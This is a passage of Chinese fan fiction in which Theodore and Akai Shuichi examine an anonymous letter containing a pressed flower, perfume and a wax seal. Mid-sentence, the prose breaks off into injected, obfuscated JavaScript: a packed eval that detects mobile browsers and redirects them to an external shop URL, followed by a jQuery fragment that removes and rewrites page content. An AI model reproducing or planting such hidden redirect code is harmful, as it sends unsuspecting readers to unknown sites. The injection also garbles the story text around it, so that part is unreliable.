两个人安静地吃完了晚餐，狄奥多起身去洗碗，赤井秀一从善如流地把盘子推给他。
水流声哗哗地响着。赤井秀一还坐在岛台前，狄奥多能感觉到他的视线。
黑发青年很直接：
“你今天不太对。”
是个陈述句。
狄奥多擦盘子的动作顿了顿，犹豫一下，还是问出口了：“今天早上你就看到新闻了吧？”
赤井秀一没说话，但狄奥多明白这是个肯定的答案。于是他也没再说什么。
“我的一位朋友，当时就在现场。”狄奥多无意引起误会，“他没事，但他需要休息一段时间。我很担心。”
身后的人沉默了一会儿：“抱歉，我应该……”
“不。”狄奥多一下转过身来，朝赤井秀一摇了摇头：“我明白你的意思。只是巧合而已……呼。”
赤井秀一静静地看着他，直到他把干净的碗盘放回架子上。
黑发青年这才洗了手，走向沙发上自己的背包。过了一会儿，他拿的一个辞典大小的盒子回来了。
赤井秀一把那方盒往岛台的方向推了推。“给你的。”
狄奥多已经平复了心情。他靠过来，低头看了看。
“这是什么？”
“拆开就知道了。”
狄奥多拿起盒子，掂了掂，不重。
他拆开包装纸。里面是一条深灰色的围巾，没有花纹，面料摸起来很软，标签上写着纯羊毛。不是昂贵的牌子，但看得出是挑过的。
“你什么时候买的？”狄奥多问。
“上周。”赤井秀一翻了一页书，“路过商场顺手。”
哦～“顺手”啊。狄奥多满脸写着“我信了”点点头，赤井秀一看了两眼，欲盖弥彰地拿起了放在茶几上的书。
狄奥多把围巾拿出来，绕在脖子上试了试。长度刚好，颜色很和谐。他抬眼看向赤井秀一，赤井秀一已经打开了书，眼睛却还看向他。
“……”狄奥多灵光一闪，“这不会是你原本看好的圣诞礼物吧？”
一阵微妙的沉默。
“不会吧？”狄奥多的声音里带上了笑意，“你这么早就想好了？”
“只是觉得很适合你。”赤井秀一终于回复了，理直气壮的语气让狄奥多更想笑了。
狄奥多笑着把围巾叠好，放回盒子里。黑发青年拿着书，却完全没有要看下去的意思，只是看着他一点点把围巾叠整齐，重新放回盒子里：
“对了，你的信怎么样？”
狄奥多抱起装着围巾的盒子，皱起眉：“事实上……关于这个……”
赤井秀一拿着那张充作信纸的硬质卡片端详片刻，轻轻摇头：
“你怎么看？”
“不知道。”狄奥多很平静。虽然这信来得古怪，但它一没毒二没攻击性，他也很难把它当成威胁，“线索太少了。我正打算一会儿深入查查。”
“花的品种和香水？”
狄奥多点点头，自然地交叠起腿，倚上了沙发扶手，专注地看着赤井秀一观察那封信。
“我倒觉得这个信封也很有趣。”
赤井秀一把信封单独拿起，放在台灯下透光看了几眼，光线从纸背透过来，牛皮纸的纤维纹理清晰可见，均匀细密，没有水印，没有暗记，也没有被二次封缄的痕迹。
“好吧。质量不错的牛皮纸。”他又把信封放下，语气有些遗憾，“但受众面不小。办公用品店、文具店、网上都能买到。”他顿了顿，“还不如去寄信地实地跑一趟看看来得有找到线索的希望。”
说着，他放下了信封。“不过至少可以说明寄信人品味不错，对生活质量有一定的追求。”
狄奥多单手撑着脸颊，视线跟着赤井秀一手上的信封滑动。男人的思路和他不太一样——他拿到信后第一反应是看内容，看字迹，看那朵花的含义，分析寄信人的目的和心理；赤井秀一先看的则是信封本身，是承载信息的介质，是那些“被忽略的、但可能暴露更多信息”的物理细节。
赤井秀一注意到他的目光，抬了抬下巴：“怎么了？”
“看你怎么看。”狄奥多随口说。
“哼。”
赤井秀一轻哼一声，把信封翻过来，又看了一遍邮戳。墨迹有些模糊，但地名还能辨认——马里兰州内的一个小城，离大学城有点距离，也不是狄奥多日常活动的范围。
“寄信人专程去那里投递，”赤井秀一说，“或者在那里工作、生活。不管哪种可能，都说明对方有一定的时间和行动自由。”
狄奥多点头。这也是他想到的。
“花呢？你比我懂这些东西，动植物什么的。”赤井秀一问。
狄奥多拿过信封，按了按那朵压干的小花，又放在灯光下。花瓣已经变得薄而脆，原本的颜色褪了大半，边缘泛着枯黄，但脉络依然清晰。可惜，他说不上来这是什么花，从花型看像是某种野花或者野外常见的品种，但压得太干，又经了时间的氧化，已经很难辨认。
“我认不出来。”狄奥多把信封小心翼翼放在桌上，他都不知道这朵花是怎么压在火漆下一路经过邮递还完好无损的，“不是常见的玫瑰、雏菊那种，这应该是某种堇。也许找植物学的专业人士能看出个大概。但压成这样的干花，我想能确认到属就不错了。”
赤井秀一伸出手，用指腹轻轻碰了碰花瓣的边缘。花瓣立刻碎了一小块，落在信封表面，像一小粒褪色的灰尘。
“压得很干。”赤井秀一判断道，“不是随手夹进去的，是专门处理过的标本。寄信人做这件事可能不那么专业，但肯定不是第一次，至少这门手艺练过。”
狄奥多拿起那张信纸，又看了一遍上面的字。
你会是我的好学生。
印刷体，没有署名，没有日期。字迹工整得几乎没有个人特征，像是用某种打字机或者模板压印出来的。他凑近闻了闻——信纸上也有那股香味，和信封上的一致，不浓，若有若无地附着在纸面上。
“香水味。”他把信纸递给赤井秀一，“你闻闻看。”
赤井秀一接过去，没有放到鼻尖，只是拿在手里扇了扇风，让气味散开一些。
“女士香水。”他判断得很快，让狄奥多惊讶了一瞬。
“国际品牌，商场专柜或者化妆品店都能买到的热销款。前几天刚好遇到一起出……工作的同事用了，她和另一个同事聊起了这个香水。”
“所以它受众面也广。”狄奥多有些失望地蹙了蹙眉。
“是‘很广’。”赤井秀一把信纸放回桌上，“而化妆品柜台每天接触的人流量，不比文具店少。”
两个人同时沉默了一瞬。
狄奥多靠在沙发上，目光落在桌上那三样东西上——信封、信纸、压干的花。三样东西，每一样都能提供一点点信息，每一样的信息又都指向“大众化”、“可匿名获取”、“无法追溯”。
都是“无效线索”。
“寄信人不想被找到。”狄奥多心里逐渐多出了几分疑虑，“而且他，或者她，真的做到了。”
“嗯。”
“但他想让信被我收到。”狄奥多继续说，“不然他就没必要寄。火漆、干花、香水——这些都是用心准备过的。对方花了不少心思，让这封信看起来不像普通的匿名信。”
赤井秀一没有接话，只是拿起那枚火漆封蜡又看了一眼。封蜡上压着一个简朴的纹章图案，不是定制的私印，是市面上可以买到的通用款式。
“综合来看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582104|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，”赤井秀一把东西一件件放回桌面，恢复狄奥多把它们拿来时的样子，动作很轻，怕碰坏了什么。
“对方了解你的基本信息——姓名、学校、地址。对你有某种关注，但尚未表现出攻击性。有一定经济能力和审美意识，对生活质量有追求。做事有条理，不是冲动型。”
他顿了顿，看着狄奥多。金发的人双手交叉用指背垫起下巴，眼神明显落在半空中，回避着他的视线。
“而且，对方在等你。”
“……”
“等你回应。”赤井秀一继续说着，“这句话——‘你会是我的好学生’——不是在陈述事实，是在表达期待。对方期待你做出某种反应，虽然我们现在还不知道那是什么。”
狄奥多没有立刻回答。他把那朵碎了一角的小花小心地放回信封里，把信封夹进一本厚书的书页之间，压平。
“线索确实太少。”他承认，“我打算之后再深入查查——至少花的品种应该找植物学的朋友看看，再去寄信地跑一趟。虽然希望不大。”
赤井秀一看了他一眼。
狄奥多刚刚想到了什么？但既然是对方觉得不必说出来的猜想，那么他尊重狄奥多的看法。
“寄信地，”赤井秀一推了推桌面上的那封信，“确实值得跑一趟。虽然希望也不算大，但已经是现在最可靠的线索了。”
狄奥多点头。他知道赤井秀一说的是对的。现在手里只有这封信，线索太少，任何结论都可能是过度解读。
客厅里安静了一会儿。赤井秀一把那枚火漆封蜡放回信封上，把信封往狄奥多的方向推了推。
“收好。”他说，“这可是宝贵的证物。”
“证物”。
狄奥多笑笑，然后那笑意很快又消失了。他接过信封，拿着信回到房间，放进书桌右手边的抽屉里。抽屉里现在空空的，只有这一封信。他关好抽屉，转身就看见扶手椅上，赤井秀一已经拿起了茶几上那本没看完的书，翻到了夹着书签的那一页。
“你不觉得奇怪？”狄奥多走过去，问。
赤井秀一翻了一页书。“什么？”
“你好像……不怎么惊讶。好像有人给我寄匿名信是件很正常的事。”
赤井秀一的目光从书页上抬起来，看着他。
“不，当然不正常。”赤井秀一似乎有些惊讶狄奥多会这么说，“但也不值得大惊小怪。你之前参与过案件的审理，上过新闻，有有心人对你产生关注是迟早的事。与其惊讶，不如想想对方下一步会做什么——这信的内容看起来可不太妙。像个妄想症患者写的。”
“你不担心？”
赤井秀一沉默了一秒。
“我会看着你的。”男人的语气很平淡，仿佛这话里的内容不值一提，“而且，你需要我担心吗？”
说完，他又低下头去看书了。
狄奥多看着他的侧脸，无声地笑了，心里那点忐忑也一并融化下去。台灯的光把两个人的轮廓映在墙上，温暖而清晰。狄奥多没有再说什么，一切又回到了这个房间惯常的静谧中。
客厅里只剩下翻书的声音和窗外远远传来的偶尔驶过的车声。那封信躺在书桌的抽屉里，安安静静的，像什么都没发生过。
清晨，马里兰大学的传达室里，邮递员大叔正帮着值班老先生把刚到的信件分拣进各个系科的格子。
他拿起一个牛皮纸信封，比普通的尺寸大一圈，纸质厚实，封口处压着一枚暗红色的火漆印——最特别的是火漆下还压着一枚小花，让他多看了几眼。收件人一栏写着“狄奥多·克罗夫特收”，字迹工整，像用蘸水笔写的。
大叔翻了翻桌上的记录本，在最后的位置记上新的一笔。
狄奥多·L·克罗夫特